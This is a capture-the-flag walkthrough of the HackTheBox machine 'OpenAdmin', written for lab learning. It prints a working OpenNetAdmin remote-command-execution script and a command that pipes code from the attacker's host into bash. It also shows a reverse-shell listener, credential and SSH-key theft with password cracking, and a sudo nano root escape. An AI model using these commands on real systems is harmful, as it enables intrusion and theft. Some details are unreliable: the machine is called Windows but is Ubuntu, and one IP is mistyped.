OpenAdmin
#Windows #Enumeration #Web-Exploitation
OpenAdmin is an easy-rated Windows machine from HackTheBox created by del_KZx497Ju. In the current post, my IP is 10.10.14.76, and the target’s IP is 10.129.214.71.
This machine is straightforward once you find the Admin login page. It features an outdated OpenNetAdmin CMS. From here, you can move to enter the machine as a low privileged user, then jump to a second user by using its credentials located at a local application, then escalate by a sudo misconfiguration with nano.
Gather Information
Before doing anything, always start using ping to see if this is working
ping -c 1 10.129.214.71

nmap -p- --open -T5 -v -n 10.129.214.71

nmap -sC -sV -p 22,80 10.129.214.71

whatweb http://10.129.214.71

Right now the best option is to explore the website content.
Browser: http://10.129.214.71

Definitively is just an Ubuntu Default Page, nothing special, unless you press CTRL+U

At this moment, we don’t have any important information, our best option is to search for resources. So we are going to use Wfuzz in colorized format (-c) with 200 threats (-t 200) using a dictionary (-w), while hiding the response status 404 (--hc=404), add try at FUZZ
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.219.214.71/FUZZ

Ok, there are three payloads that make sense, let’s try with “artwork”, then “music”, and “sierra”
Browser: http://10.129.214.71/artwork/

Browser: http://10.129.214.71/music



Let’s search if “OpenNetAdmin” have vulnerabilities at the database.
searchsploit OpenNetAdmin


Weaponization and Exploitation
Look, there is a bash script for the version 18.1.1, this means that we can use that exploit. Copy and paste the code from https://www.exploit-db.com/exploits/47691 to a file called exploit.sh, and at URL, paste the target ONA URL and run the script.
#!/bin/bash
URL="http://10.129.214.71/ona/"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
.\exploit.sh

And now, to improve our terminal, we need to create an html file and oblige the target to read it. Open two terminals, TermA and TermB.
vi index.html
python3 -m http.server 80

nc -nlvp 443
curl 10.10.14.76 | bash
Read the file from 10.10.14.76 with bash

Now our best option is to do an tty treatment.
grep -r -i -E "user|pass|key|database"
cd /home/
find \-name user.txt 2>/dev/null #Nothing, there is a permission issue
find \-name user.txt

Now we need to hunt for their passwords to login
cd /opt/ona/www
find \-type f 2>/dev/null | grep "config"

cat ./local/config/database_settings.inc.php

grep "sh$" /etc/passwd

We have a password, so now we can test that with every user
su jimmy


cd /var/www/internal
ls
cat main.php

Ok, now we are going to check the configuration.
ls /etc/apache2/sites-available/
cat /etc/apache2/sites-available/internal.conf

There is something in that port, let’s try a curl to prove is exist, if this exist, by using that location we will be able to execute commands as the user “Joanna” and execute main.php

curl localhost:52846/reverseShell.php

Is nice to know that, but previously we see that in main.php, we can call the RSA Private Key of the user Joanna, is an easier way.
curl localhost:52846/main.php

Paste the content in a file in your local machine and open a Terminal.
vi id_rsa #paste the key inside
chmod 600 id_rsa
ssh -i id_rsa joanna@10.129.214.71

But hey, it does not works, this is because the id_rsa is encrypted, you can see that in the second row {Proc-Type: 4, ENCRYPTED}, first we need to download the tool https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py, and decrypt the id_rsa.
python3 ssh2john.py id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash #password: bloodninjas
ssh -i id_rsa joanna@10.129.214.71

ls
cat user.txt

Privileges Scalation
cd /root/ #you can't enter
id #To see the groups
sudo -l

As you can see, we can execute the command nano to the file /opt/priv without passwords. This means that we can execute commands inside that file without requiring a password
sudo -u root nano /opt/priv
#CTRL+R for read files, then CTRL+X to execute commands


It works, this is a nice chance to give admin permission as root to the /bin/bash file for every user.

bash -p
cat root.txt

Last updated